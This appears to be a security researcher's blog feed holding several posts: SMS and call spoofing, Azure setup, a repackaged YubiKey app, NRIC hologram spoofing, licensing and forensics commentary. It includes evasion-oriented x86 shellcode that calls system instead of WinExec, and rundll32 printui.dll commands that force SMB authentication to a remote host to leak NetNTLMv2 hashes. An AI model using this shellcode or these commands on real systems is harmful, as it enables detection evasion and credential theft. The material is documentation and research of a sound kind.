<p><img alt="sec760" src="//limbenjamin.com/media/sec760.png"></p>Phishing SMS/Emails/Calls2022-02-05T15:37:00+08:002022-02-05T15:37:00+08:00Benjamin Limtag:limbenjamin.com,2022-02-05:/articles/phishing-sms-emails-calls.html<p>The Cyber Security Agency (CSA) posted an advisory about tech support scammers impersonating CSA officers 7 months ago. A few cybersecurity professional, me included, saw the post and immediately commented either directly on the post or on a copy shared by one of the deputy directors that the impersonation was …</p><p>The Cyber Security Agency (CSA) posted an advisory about tech support scammers impersonating CSA officers 7 months ago. A few cybersecurity professional, me included, saw the post and immediately commented either directly on the post or on a copy shared by one of the deputy directors that the impersonation was possible because CSA did not properly set up their DMARC policy. Since then, they have set up a DMARC policy and it is now impossible to impersonate emails from csa.gov.sg. </p>
<iframe src="https://www.linkedin.com/embed/feed/update/urn:li:share:6823878480783134720" allowfullscreen="" title="Embedded post" width="504" height="1000" frameborder="0"></iframe>
<p>I was reminded of this incident when I observed the response in the aftermath of the OCBC phishing SMS fiasco. As per this <a href="https://www.straitstimes.com/singapore/imda-urges-more-banks-to-sign-up-with-anti-sms-spoofing-registry-to-combat-scams">Straits Times article</a> on 17 January, IMDA urged all businesses to sign up on the anti-SMS spoofing registry. As per this <a href="https://www.straitstimes.com/tech/tech-news/why-the-anti-sms-spoofing-registry-can-be-bypassed">Straits Times article</a> on 31 January, some members of public managed to show that it is possible to bypass the registry and spoof as businesses that had already signed up. It seems like our regulators, IMDA and CSA, do not have senior engineers who are intimately familiar with the technical aspects of the technologies they are regulating. </p>
<p>CSA is rather fortunate because emails are a widely understood technology. Every major company runs their own email servers so there are plenty of IT engineers out there who are very familiar with all the inner workings of email. They understand details of all the protocols (IMAP/POP3/SMTP) to do with sending and receiving emails as well as all the security mechanisms (SPF/DKIM/DMARC) to safeguard email from spoofing. They can explain everything that happens from the moment you push the send button all the way until the email arrives in the recipient's inbox. This group of professionals can call CSA out when they observe insecure practices. </p>
<p>Unfortunately, SMS and phone calls are poorly understood technologies. In the past, companies used GSM modems or SMS gateways to send SMS. Nowadays, they may a service like Twilio. Regardless of the method, once the SMS leaves the endpoint, it enters a black box and re-emerges on the other side to reach the recipient. Very few people understand what happens inside that black box and can explain step by step how it works. ISPs are doing source IP spoofing and dropping packets, can something similar be done for calls/SMS? Are international calls/SMS from foreign Telcos routed the same way as local calls/SMSes? Do they come through the same pipe? How about local subscribers that are currently roaming and connected to foreign Telcos? Can those calls/SMSes be differentiated from the spoof calls/SMSes? </p>
<p>Coming from someone without a background in telecommunication technology, Telcos must have a way of determining if a number is in use because you get a recorded voice message telling you that the number is not in use otherwise. Telcos must also have a way of determining if the number is currently connected to a local base station, how else would they be able to make the phone ring and route the call. Both these operations should be possible in less than 3 seconds, which is about the time you take to get a response when dialing a number. Given these 2 assumptions, the following logic should be possible to stop these spam calls. Is it really implementable?</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal"> 1</span>
<span class="normal"> 2</span>
<span class="normal"> 3</span>
<span class="normal"> 4</span>
<span class="normal"> 5</span>
<span class="normal"> 6</span>
<span class="normal"> 7</span>
<span class="normal"> 8</span>
<span class="normal"> 9</span>
<span class="normal">10</span>
<span class="normal">11</span>
<span class="normal">12</span></pre></div></td><td class="code"><div><pre><span></span><code>Scenario: +65 9123 4567 dialling in from overseas
if +65 9123 4567 is currently not in use:
# confirm to be spoofed since number not in use
telco will terminate call
else:
if +65 9123 4567 last known location in HLR is in Singapore:
# handphone cannot be located in Singapore and overseas at the same time
telco will terminate call
else:
# either handphone is located in Singapore but turned off (unlikely in present day) or handphone is overseas and it is a legitimate call
route the call to the recipient
</code></pre></div></td></tr></table></div>
<p>Perhaps only senior engineers who have worked in Telcos have the answer to those questions. Given the age of SMS/telephony technology, many of those senior engineers may already be retired. Maintenance may have been outsourced and there may be very few people left with that technical expertise. Without an in-depth understanding of the technology, we will not be able to fully block phishing calls/SMSes and our regulators will have to continue what they do best, sending advisory after advisory telling people not to click on links and not to answer calls starting with +65. </p>Azure Resource Manager - Service Principal (Manual)2022-01-18T20:04:00+08:002022-01-18T20:04:00+08:00Benjamin Limtag:limbenjamin.com,2022-01-18:/articles/azure-resource-manager-service-principal-manual.html<p>I had some issues with automatically creating a service principal to set up Azure Resource Manager in Azure DevOps due to overly strict Azure AD policies resulting in the following error <code>Error encountered: Failed to create an app in Azure Active Directory. Error: Credential lifetime exceeds the max value allowed …</code></p><p>I had some issues with automatically creating a service principal to set up Azure Resource Manager in Azure DevOps due to overly strict Azure AD policies resulting in the following error <code>Error encountered: Failed to create an app in Azure Active Directory. Error: Credential lifetime exceeds the max value allowed as per assigned policy</code>. This is a rather unique error with no results found on Google. Since the steps to manually create a service principal is rather complex, I have decided to document it here.</p>
<p>1) Use the powershell console in Azure Portal to run the following command</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span>
<span class="normal">2</span>
<span class="normal">3</span>
<span class="normal">4</span>
<span class="normal">5</span>
<span class="normal">6</span>
<span class="normal">7</span>
<span class="normal">8</span></pre></div></td><td class="code"><div><pre><span></span><code>PS /home/limbenjamin> az ad sp create-for-rbac --name ServicePrincipalName
{
"appId": "00000000-0000-0000-0000-000000000000",
"displayName": "ServicePrincipalName",
"name": "http://ServicePrincipalName",
"password": "00000000-1111-1111-1111-000000000000",
"tenant": "00000000-2222-2222-2222-000000000000"
}
</code></pre></div></td></tr></table></div>
<p>2) Go to Azure Portal -> Subscriptions -> Access Control (IAM) -> Add Role Assignment and add Contributor role for ServicePrincipalName.<br>
3) Go to Azure DevOps -> Project Settings (At Bottom) -> Service Connections -> New Service Connection -> Azure Resource Manager -> Service Principal (Manual) and use the values from the command output in the earlier powershell console</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span>
<span class="normal">2</span>
<span class="normal">3</span></pre></div></td><td class="code"><div><pre><span></span><code>Service Principal Id: 00000000-0000-0000-0000-000000000000
Service Principal Key: 00000000-1111-1111-1111-000000000000
Tenant ID: 00000000-2222-2222-2222-000000000000
</code></pre></div></td></tr></table></div>
<p>4) Setup a new pipeline in Azure DevOps. The new pipeline may not be able to detect the manually set up service principal and the build may fail, if that happens, you will need to visit the following URL to get the azureServiceConnectionId.</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span>
<span class="normal">2</span></pre></div></td><td class="code"><div><pre><span></span><code>https://dev.azure.com/<<Org Name>>/<<Project Name>>/_apis/serviceendpoint/endpoints?api-version=5.0-preview.2
{"count":1,"value":[{"data":{"environment":"AzureCloud","scopeLevel":"Subscription","subscriptionId":"00000000-3333-3333-3333-000000000000","subscriptionName":"AzureSubsciptionName","creationMode":"Manual"},"id":"00000000-4444-4444-4444-000000000000","name":"ServiceConnectionName".....
</code></pre></div></td></tr></table></div>
<p>5) Manually edit the <code>azure-pipelines.yml</code> file and include the new azureServiceConnectionId. Your builds should now work.</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span>
<span class="normal">2</span>
<span class="normal">3</span>
<span class="normal">4</span>
<span class="normal">5</span>
<span class="normal">6</span></pre></div></td><td class="code"><div><pre><span></span><code>trigger:
- master
variables:
# Azure Resource Manager connection created during pipeline creation
azureServiceConnectionId: '00000000-4444-4444-4444-000000000000'
</code></pre></div></td></tr></table></div>Yubikey passwordless Windows local account login2021-12-23T21:17:00+08:002021-12-23T21:17:00+08:00Benjamin Limtag:limbenjamin.com,2021-12-23:/articles/yubikey-passwordless-windows-local-account-login.html<p>Yubico used to publish a Windows Store application <code>YubiKey for Windows Hello</code> that allowed local non-domain joined accounts to login to Windows simply by inserting the YubiKey. However, that application has since been <a href="https://www.reddit.com/r/yubikey/comments/kwdo40/yubikey_for_windows_hello_currently_not_available/">retired</a> and there is no current method to perform a password login for a local account. The …</p><p>Yubico used to publish a Windows Store application <code>YubiKey for Windows Hello</code> that allowed local non-domain joined accounts to login to Windows simply by inserting the YubiKey. However, that application has since been <a href="https://www.reddit.com/r/yubikey/comments/kwdo40/yubikey_for_windows_hello_currently_not_available/">retired</a> and there is no current method to perform a password login for a local account. The current tool <a href="https://www.yubico.com/products/computer-login-tools/"><code>Yubico Login for Windows</code></a> allows the user to use the YubiKey as a 2nd factor but still requires a password to be typed in. It is more secure for sure, but security is always at odds with convenience and some users may feel that a passwordless YubiKey login is sufficient for their threat model, especially if they make sure to carry around the YubiKey at all times. </p>
<p>I have managed to repackage the <code>YubiKey for Windows Hello</code> Windows Store application from my previous machine and am thus sharing it with all. However, one caveat is that I had to re-sign the package with a self signed cert since I do not have Yubico's original cert. The steps to install my packaged version are as follows: </p>
<ol>
<li>Download the <a href="//limbenjamin.com/files/YubiKeyforWindowsHello/Yubico.YubiKeyforWindowsHello_1.1.2.0_x64__ner20kky0c7hr.appx">appx package</a> and the <a href="//limbenjamin.com/files/YubiKeyforWindowsHello/Yubico.YubiKeyforWindowsHello_1.1.2.0_x64__ner20kky0c7hr.cer">cert</a></li>
<li>Double click the cert and install it into the Local Machine's Trusted Root Certification Authorities store. You will need to manually specify the correct store.</li>
<li>Go to Settings -> Use Developer Features and allow install apps from any source</li>
<li>Double click the appx package to install it</li>
<li>Go to Settings -> Set up PIN sign in and set a PIN</li>
<li>Start YubiKey for Windows Hello and go through the steps to set up passwordless login</li>
</ol>
<div class="admonition other">
<p class="admonition-title">Note to Yubico</p>
<p>YubiKey for Windows Hello is a abandonware and cannot be obtained from any official website anymore. Please reach out if you have issues with me hosting a copy of it. </p>
</div>Converting WinExec shellcode2021-12-15T12:24:00+08:002021-12-15T12:24:00+08:00Benjamin Limtag:limbenjamin.com,2021-12-15:/articles/converting-winexec-shellcode.html<p>I have found an interesting method to convert <code>WinExec</code> shellcode. This may be useful if <code>WinExec</code> cannot be used because the characters <code>WinE</code> are bad characters or if there are security solutions monitoring for its execution. This method requires <code>msvcrt.dll</code> to be loaded as it uses the <code>system</code> call …</p><p>I have found an interesting method to convert <code>WinExec</code> shellcode. This may be useful if <code>WinExec</code> cannot be used because the characters <code>WinE</code> are bad characters or if there are security solutions monitoring for its execution. This method requires <code>msvcrt.dll</code> to be loaded as it uses the <code>system</code> call in place of <code>WinExec</code>. Both methods take in similar parameters so this can be achieved with only a few bytes of code change. </p>
<p>As an example, I will be using this <a href="https://github.com/peterferrie/win-exec-calc-shellcode/blob/master/w32-exec-calc-shellcode.asm">32bit WinExec calc shellcode</a>. Credits to Skylined and Peter Ferrie for the original shellcode and the extremely detailed comments. As you can observe, we saved 1 byte with uCmdShow and inserted only 6 more bytes for the entire conversion. Depending on the DLL load order for your binary, it may take slightly more or less bytes to traverse the linked list to get to <code>msvcrt</code>.</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal"> 1</span>
<span class="normal"> 2</span>
<span class="normal"> 3</span>
<span class="normal"> 4</span>
<span class="normal"> 5</span>
<span class="normal"> 6</span>
<span class="normal"> 7</span>
<span class="normal"> 8</span>
<span class="normal"> 9</span>
<span class="normal">10</span>
<span class="normal">11</span>
<span class="normal">12</span>
<span class="normal">13</span>
<span class="normal">14</span>
<span class="normal">15</span>
<span class="normal">16</span>
<span class="normal">17</span>
<span class="normal">18</span>
<span class="normal">19</span>
<span class="normal">20</span>
<span class="normal">21</span>
<span class="normal">22</span>
<span class="normal">23</span>
<span class="normal">24</span>
<span class="normal">25</span>
<span class="normal">26</span>
<span class="normal">27</span>
<span class="normal">28</span>
<span class="normal">29</span>
<span class="normal">30</span>
<span class="normal">31</span></pre></div></td><td class="code"><div><pre><span></span><code>0: 31 d2 xor edx,edx ; EDX = 0
2: 52 push edx ; Stack = 0
3: 68 63 61 6c 63 push 0x636c6163 ; Stack = "calc", 0
8: 54 push esp
9: 59 pop ecx ; ECX = &("calc")
a: 52 push edx ; CODE REMOVED HERE - We don't need uCmdShow parameter for system method
b: 51 push ecx ; Stack = &("calc"), "calc", 0
c: 64 8b 72 30 mov esi,DWORD PTR fs:[edx+0x30] ; ESI = [TEB + 0x30] = PEB
10: 8b 76 0c mov esi,DWORD PTR [esi+0xc] ; ESI = [PEB + 0x0C] = PEB_LDR_DATA
13: 8b 76 0c mov esi,DWORD PTR [esi+0xc] ; ESI = [PEB_LDR_DATA + 0x0C] = LDR_MODULE InLoadOrder[0] (process)
16: ad lods eax,DWORD PTR ds:[esi] ; EAX = InLoadOrder[1] (ntdll)
17: 8b 30 mov esi,DWORD PTR [eax] ; ESI = InLoadOrder[2] (kernel32)
19: 8b 36 mov esi,DWORD PTR [esi] ; CODE INSERTED HERE - ESI = InLoadOrder[3] (aaaa)
1b: 8b 36 mov esi,DWORD PTR [esi] ; CODE INSERTED HERE - ESI = InLoadOrder[4] (bbbb)
1d: 8b 36 mov esi,DWORD PTR [esi] ; CODE INSERTED HERE - ESI = InLoadOrder[5] (msvcrt)
1f: 8b 7e 18 mov edi,DWORD PTR [esi+0x18] ; EDI = [InLoadOrder[5] + 0x18] = msvcrt DllBase
22: 8b 5f 3c mov ebx,DWORD PTR [edi+0x3c] ; EBX = [msvcrt + 0x3C] = offset(PE header)
25: 8b 5c 1f 78 mov ebx,DWORD PTR [edi+ebx*1+0x78] ; EBX = [PE32 optional header + offset(PE32 export table offset)] = offset(export table)
29: 8b 74 1f 20 mov esi,DWORD PTR [edi+ebx*1+0x20] ; ESI = [msvcrt + offset(export table) + 0x20] = offset(names table)
2d: 01 fe add esi,edi ; ESI = msvcrt + offset(names table) = &(names table)
2f: 8b 54 1f 24 mov edx,DWORD PTR [edi+ebx*1+0x24] ; EDX = [msvcrt + offset(export table) + 0x24] = offset(ordinals table)
33: 0f b7 2c 17 movzx ebp,WORD PTR [edi+edx*1] ; EBP = [msvcrt + offset(ordinals table) + offset] = function ordinal
37: 42 inc edx
38: 42 inc edx ; EDX = offset += 2
39: ad lods eax,DWORD PTR ds:[esi] ; EAX = &(names table[function number]) = offset(function name)
3a: 81 3c 07 73 79 73 74 cmp DWORD PTR [edi+eax*1],0x74737973 ; CODE CHANGED HERE - Change WinE to syst
41: 75 f0 jne 0x33
43: 8b 74 1f 1c mov esi,DWORD PTR [edi+ebx*1+0x1c] ; ESI = [msvcrt + offset(export table) + 0x1C] = offset(address table)] = offset(address table)
47: 01 fe add esi,edi ; ESI = msvcrt + offset(address table) = &(address table)
49: 03 3c ae add edi,DWORD PTR [esi+ebp*4] ; EDI = msvcrt + [&(address table)[system ordinal]] = offset(system) = &(system)
4c: ff d7 call edi ; system(&("calc"));
</code></pre></div></td></tr></table></div>Digital NRIC Spoofing2021-11-14T15:59:00+08:002021-11-14T15:59:00+08:00Benjamin Limtag:limbenjamin.com,2021-11-14:/articles/digital-nric-spoofing.html<p>Pretty interesting how easy it is to spoof the animated hologram thingy in the new Digital NRIC. Managed to build a Proof of Concept (POC) within a few hours of the news release. </p>
<iframe src="/files/nricspecimengen/" style="height: 669px;width: 449px;"></iframe>
<p>Govtech's response is as follow:</p>
<blockquote>
<hr>
<p>Hi Benjamin,</p>
<p>We refer your report submitted under the Vulnerability Disclosure Programme …</p></blockquote><p>Pretty interesting how easy it is to spoof the animated hologram thingy in the new Digital NRIC. Managed to build a Proof of Concept (POC) within a few hours of the news release. </p>
<iframe src="/files/nricspecimengen/" style="height: 669px;width: 449px;"></iframe>
<p>Govtech's response is as follow:</p>
<blockquote>
<hr>
<p>Hi Benjamin,</p>
<p>We refer your report submitted under the Vulnerability Disclosure Programme (VDP) on 28-Oct-2021.</p>
<p>The Digital IC offers a convenient alternative to physical IC for a user to present his or her identity credentials for in-person services. The animated lion crest with a holographic effect is not a cryptographic means to secure the Digital IC, rather it acts as a first layer of deterrence to guard against image tampering and screenshot spoofing. It will be absent or appear static if a person attempts to capture a screen recording of the Digital IC.</p>
<p>Other multi-layered security and operational measures are also in place for the use of Digital IC for in-person services. For instance, other than checking for the animated hologram to ascertain that the Digital IC screen is legitimate, agencies and businesses may request users to tap on their devices to test for interactivity and confirm that the presented identity credentials are not captured images or videos. In addition, the user’s latest photograph is displayed on the Digital IC and this further assists onsite personnel to establish the user’s identity.</p>
<p>Cryptographically secure options such as Singpass Verify may also be deployed by agencies and businesses which require higher in-person identity assurance. With Verify, agencies and businesses can display a QR code at their service counters which users can scan with their Singpass and consent to securely share their identity credentials with the agency/business.</p>
<p>We regret that you chose to publish the details of your report on LinkedIn before hearing from us. This action is not consistent with VDP conduct rules which exist to ensure responsible reporting and prevent malicious actors from exploiting unresolved vulnerabilities. We trust you will take note of this and we thank you for helping to keep digital services safe for all users.</p>
<hr>
</blockquote>
<p>To circumvent tapping on the device to test for interactivity, one might have to build a entire fakepass app from scratch as the Singpass app has some protection so you can't just decompile it, hardcode a couple of strings in the app to display a certain NRIC and name and recompile the app. That is more effort than I would like to undertake. I don't really understand Govtech's point on the user's latest photograph. If I wanted to spoof an NRIC, I would put my photograph there and someone else's name and NRIC, then I can enter the building assuming his identity. </p>
<p>Singpass Verify seems to be a more secure option as compared to the Digital NRIC. Not sure why it wasn't adopted as the de-facto standard in place of Digital NRIC. It might be confusing to the public to have so many similar verification related microservices requiring different interactions. Digital NRIC acts as a barcode and requires a scanner. Singpass Verify acts as a scanner and requires a QR code. OpenCerts requires you to upload a file and is only used to verify educational and vaccination certs and not identity documents. There isn't an overarching verification framework with a consistent approach. To be honest, I might get phished myself, if an organization asks me to scan my thumbprint and claims that it is part of a new Govtech standard called OpenFinger, I might fall prey. </p>Industry Consultation on Licensing for CSPs2021-10-13T09:15:00+08:002021-10-13T09:15:00+08:00Benjamin Limtag:limbenjamin.com,2021-10-13:/articles/industry-consultation-licensing-csps.html<p>Below feedback was submitted to CSA on 11 Oct 2021 in an individual capacity. </p>
<h2>Q1</h2>
<p>I refer to item 7 on page 6 of <a href="https://www.csa.gov.sg/-/media/Csa/Documents/Legislation_Industry-Consultation/Licensing-Industry-Consult-Document.pdf">Annex A: Industry Consultation Document</a>, reproduced below. If a company registered in Singapore or an individual residing and working in Singapore is only providing cybersecurity services …</p><p>Below feedback was submitted to CSA on 11 Oct 2021 in an individual capacity. </p>
<h2>Q1</h2>
<p>I refer to item 7 on page 6 of <a href="https://www.csa.gov.sg/-/media/Csa/Documents/Legislation_Industry-Consultation/Licensing-Industry-Consult-Document.pdf">Annex A: Industry Consultation Document</a>, reproduced below. If a company registered in Singapore or an individual residing and working in Singapore is only providing cybersecurity services (Managed SOC or Penetration Testing) to the <u>overseas market</u> and does not have any clients based in Singapore, does that company or individual need to be licensed? This has implications on freelancers based in Singapore that only offer their services over platforms such as fiverr and upwork.</p>
<blockquote>
<p>7 All CSPs that provide either or both of these licensable cybersecurity services to the Singapore market, regardless of whether they are companies or individuals (i.e. freelancers or sole proprietorships owned and controlled by individuals) who are directly engaged for such services, or third-party CSPs that provide these services in support of other CSPs, will need to be licensed. Resellers, or overseas CSPs who provide licensable cybersecurity services to the Singapore market would likewise need to be licensed.</p>
</blockquote>
<h2>A1</h2>
<p>Under Part 5 of the Cybersecurity Act, any person who is in the business of providing A) managed security operations centre (SOC) monitoring; and/or B) penetration testing cybersecurity services to the Singapore market as set out in the <a href="https://sso.agc.gov.sg/Acts-Supp/9-2018">Second Schedule of the Cybersecurity Act</a> (hyperlinked), will need to be licensed unless they are providing the services to its related company (e.g. a subsidiary providing the services to its holding/parent company). Persons providing licensable services solely to overseas market will not need to be licensed.</p>
<h2>Q1.1</h2>
<p>Part 5 Section 24 of the Cybersecurity Act</p>
<blockquote>
<p>24.—(1) Except under and in accordance with a cybersecurity service provider’s licence granted or renewed under section 26, no person may engage in the business of providing any licensable cybersecurity service* to other persons** </p>
</blockquote>
<p>* I have looked at the definition of a "cybersecurity service" in Part 1 Section 2, it does not say the recipient of the service has to be an entity based in Singapore.<br>
* Have also looked at the definition for "licensable cybersecurity services" in Second Schedule, it does not say the recipient of the service has to be an entity based in Singapore.<br>
** There is no definition for "persons". It does not say persons has to be an entity based in Singapore.<br>
*** There is no further writing anywhere else that says "Part 5 Section 24 Subsection (1) does not apply to the provision of a cybersecurity service to an entity based overseas" </p>
<p>Based on my understanding above, providing licensable cybersecurity services whether locally or overseas is treated the same in the Act. Would be interested to find out how you derive that Part 5 only applies to service rendered to the Singapore market.</p>
<h2>A1.1</h2>
<p>The licensing framework was gazetted under Part 5 of the Cybersecurity Act which sought to establish a legal framework for the oversight and maintenance of national cybersecurity in Singapore. Hence it applies to cybersecurity service providers ("CSPs") providing licensable cybersecurity services to the Singapore market, regardless of whether they are companies or individuals (i.e. freelancers or sole proprietorships owned and controlled by individuals) who are directly engaged for such services, or third-party CSPs that provide these services in support of other CSPs. Resellers, or overseas CSPs who provide licensable cybersecurity services to the Singapore market would likewise need to be licensed. </p>
<h2>My thoughts</h2>
<p>I get that the intent of the policy is to govern cybersecurity services provided to local companies only, hence the limited scope. But doesn't that limited scope need to be translated into the law itself? How else would a member of public or someone from another country know whether he requires a license to operate? When I look at the Remote Gambling Act, it is very clear which section applies even to overseas providers and which are limited to Singapore only. It is strange that the Cybersecurity Act lacks clarity in this aspect.</p>Police and private sector forensics differences2021-09-22T20:07:00+08:002021-09-22T20:07:00+08:00Benjamin Limtag:limbenjamin.com,2021-09-22:/articles/police-and-private-sector-forensics-differences.html<p>Due to the nature of work, there is a vast difference between the skillset of a law enforcement cyber forensics analyst and his private sector counterpart. If you are intending to hire an ex-law enforcement analyst, do read on to find out if it is a good fit. </p>
<h2>Law enforcement …</h2><p>Due to the nature of work, there is a vast difference between the skillset of a law enforcement cyber forensics analyst and his private sector counterpart. If you are intending to hire an ex-law enforcement analyst, do read on to find out if it is a good fit. </p>
<h2>Law enforcement forensics analysts have much better procedural knowledge compared to private sector analysts</h2>
<p>Almost all cases worked by law enforcement analysts will eventually end up in court. It is a waste of police time to investigate cases which do not eventually end up in prosecution. Therefore, there is a large emphasis on evidence collection procedures. Evidence must be sealed in evidence bags to prevent tampering, it must go through proper chain of custody procedures, integrity of evidence must be guaranteed through checksums. All actions must be documented and timestamped. </p>
<p>In contrast, cases worked by private sector analysts rarely end up in court. Private sector analysts usually work on cyber incidents such as ransomware attacks, hacking attempts, website defacements. These cyber incidents are normally done by criminals located overseas and it is a challenge to even work out the perpetrator's actual identity let alone prosecute them in a foreign court of law. </p>
<p>The only cases which may end up in court are insider threat cases, where an employee steals intellectual property belonging to the company. In such cases, it is possible for the company to sue the employee for damages in civil court because the identity of the employee is known, the employee is located within the same jurisdiction, and the employee has violated the contract he signed with the employer. Since this is a civil case, the burden of proof is lower compared to a criminal case, proving beyond reasonable doubt is not required and the evidence collection procedures need not be as strict. </p>
<h2>Private sector analysts have much stronger technical cybersecurity knowledge compared to law enforcement analysts</h2>
<p>Private sector analysts work on sophisticated cyber incidents. It is often a multi-stage attack where the attackers gets an initial foothold into the environment, performs enumeration, laterally moves within the network and finally takes action to achieve his objective, be it encrypting files, exfiltrating files or causing destruction. This requires analysts to be conversant with process data, netflow data, authentication data, DNS data, persistency methods and be able to correlate all that to paint the storyline of the entire attack. Hence, they require much stronger technical cybersecurity knowledge. </p>
<p>In comparison, law enforcement analysts generally work on cyber enabled crimes. Cyber enabled crimes are real world crime with a technological element involved, such as e-commerce scams, credit card theft, harassment over email or messaging platforms and so on. They are usually perpetrated by criminals in the same jurisdiction. You do not need strong cybersecurity knowledge to investigate such crimes, as they just need to copy files. Copy invoice files and browser history as evidence for e-commerce or credit card theft, copy emails or messages for evidence of harassment and so on. There is no further analysis needed. As long as the files are copied in a forensically sound manner and timestamped, it can be presented in court as evidence of the crime. At the very most, they would need some file carving knowledge to recover deleted files. </p>
<p>It is very rare for law enforcement to be involved in sophisticated cyber incidents. To illustrate the point, it took 2 years of collaboration from US, Korea, Ukraine law enforcement as well as Interpol to finally <a href="https://www.zdnet.com/article/ukranian-police-partner-with-us-south-korea-for-raid-on-clop-ransomware-members/">arrest 6 criminals behind Clop ransomware which is alleged to have caused $500 million in damages.</a> Even then, <a href="https://ia.acs.org.au/article/2021/clop-ransomware-gang-busted.html">sources</a> believe that the impact to the group is minor as most of the core actors are believed to be based in Russia, which may not be as interested to collaborate due to political reasons. This shows why law enforcement generally work on Cyber enabled crime as it is much more fruitful and likely to end in prosecution. </p>
<h2>Summary</h2>
<p>I have seen reports from former law enforcement forensics analysts that contained only observations and no analysis, e.g. 25 counts of unauthorized access to xmlrpc.php was observed from 1.2.3.4. This is perfectly fine if the report is going before a court of law. However, in the private sector, we are less concerned over whether it was 21 or 25 or 30 access attempts. What we want to know is what resulted from those attempts? Did the attacker succeed in gaining privileged access, what did he do subsequently? Which are the list of machines and accounts which have been compromised and have to be reseted? If you are intending to hire an ex-law enforcement analyst, do make sure that he can analyse a cyber incident and is not merely providing observations. </p>LOLBin: printui.dll2021-09-06T21:09:00+08:002021-09-06T21:09:00+08:00Benjamin Limtag:limbenjamin.com,2021-09-06:/articles/lolbin-printui.html<p>Printer Settings User Interface is an executable file that contains functions used by the printer configuration dialog boxes. Functionality includes listing printer properties, adding new printers, installing printer via inf file, storing printer settings into a file and loading printer settings from file. </p>
<p>The Printer Settings User Interface (printui.dll …</p><p>Printer Settings User Interface is an executable file that contains functions used by the printer configuration dialog boxes. Functionality includes listing printer properties, adding new printers, installing printer via inf file, storing printer settings into a file and loading printer settings from file. </p>
<p>The Printer Settings User Interface (printui.dll) is a Living Off The Land Binary (LOLBin) that can be used by attackers to steal credentials. Attackers can attempt to list network printer properties, install printer with inf file located on an attacker controlled share or backup and restore settings from a file stored on an attacker controlled share. Windows will automatically attempt to authenticate using the current user's account credentials. </p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal"> 1</span>
<span class="normal"> 2</span>
<span class="normal"> 3</span>
<span class="normal"> 4</span>
<span class="normal"> 5</span>
<span class="normal"> 6</span>
<span class="normal"> 7</span>
<span class="normal"> 8</span>
<span class="normal"> 9</span>
<span class="normal">10</span>
<span class="normal">11</span>
<span class="normal">12</span>
<span class="normal">13</span>
<span class="normal">14</span>
<span class="normal">15</span>
<span class="normal">16</span>
<span class="normal">17</span>
<span class="normal">18</span>
<span class="normal">19</span>
<span class="normal">20</span>
<span class="normal">21</span>
<span class="normal">22</span>
<span class="normal">23</span>
<span class="normal">24</span>
<span class="normal">25</span>
<span class="normal">26</span>
<span class="normal">27</span>
<span class="normal">28</span>
<span class="normal">29</span>
<span class="normal">30</span>
<span class="normal">31</span>
<span class="normal">32</span>
<span class="normal">33</span>
<span class="normal">34</span>
<span class="normal">35</span>
<span class="normal">36</span>
<span class="normal">37</span>
<span class="normal">38</span>
<span class="normal">39</span>
<span class="normal">40</span>
<span class="normal">41</span>
<span class="normal">42</span>
<span class="normal">43</span>
<span class="normal">44</span>
<span class="normal">45</span>
<span class="normal">46</span>
<span class="normal">47</span>
<span class="normal">48</span></pre></div></td><td class="code"><div><pre><span></span><code>---
Name: printui.dll
Description: Printer Settings User Interface
Author: Benjamin Lim
Created: 6 Sep 2021
Commands:
- Command: rundll32.exe printui.dll,PrintUIEntry /s /t1 /c\\1.2.3.4\printer
Description: Run printer properties for a network printer.
Usecase: A SMB connection will be created to the remote location, causing NetNTLMv2 challenge hash to be sent in the process.
Category: Credentials
Privileges: User
MitreID: T1187
MitreLink: https://attack.mitre.org/techniques/T1187/
OperatingSystem: Windows 8, Windows 8.1, Windows 10
- Command: rundll32.exe printui.dll, PrintUIEntry /ia /m "Brother DCP-128C" /K /h x64 /v 3 /f "\\1.2.3.4\printer1"
Description: Run inf install for printer1 with inf file located on a remote share.
Usecase: A SMB connection will be created to the remote location, causing NetNTLMv2 challenge hash to be sent in the process.
Category: Credentials
Privileges: User
MitreID: T1187
MitreLink: https://attack.mitre.org/techniques/T1187/
OperatingSystem: Windows 8, Windows 8.1, Windows 10
- Command: rundll32.exe printui.dll,PrintUIEntry /ia /c\\1.2.3.4\printer2 /m "Brother DCP-128C" /h "x86" /v "Type 3 - User Mode" /f c:\infpath\infFile.inf
Description: Add printer driver for printer2 using inf file located on a remote share.
Usecase: A SMB connection will be created to the remote location, causing NetNTLMv2 challenge hash to be sent in the process.
Category: Credentials
Privileges: User
MitreID: T1187
MitreLink: https://attack.mitre.org/techniques/T1187/
OperatingSystem: Windows 8, Windows 8.1, Windows 10
- Command: rundll32.exe printui.dll,PrintUIEntry /Ss /n "Fax" /a "\\1.2.3.4\printer3"
Description: Store printer settings for printer named "Fax" onto a remote share.
Usecase: A SMB connection will be created to the remote location, causing NetNTLMv2 challenge hash to be sent in the process. Prerequisites: System must have a printer named "Fax".
Category: Credentials
Privileges: User
MitreID: T1187
MitreLink: https://attack.mitre.org/techniques/T1187/
OperatingSystem: Windows 8, Windows 8.1, Windows 10
Full_Path:
- Path: c:\windows\system32\printui.dll
Detection:
- IOC: SMB traffic from PID 4 to Internet destination
Resources:
- Link: https://limbenjamin.com/articles/lolbin-printui.html
Acknowledgement:
- Person: Benjamin Lim
Handle: @limbenjamincom
---
</code></pre></div></td></tr></table></div>
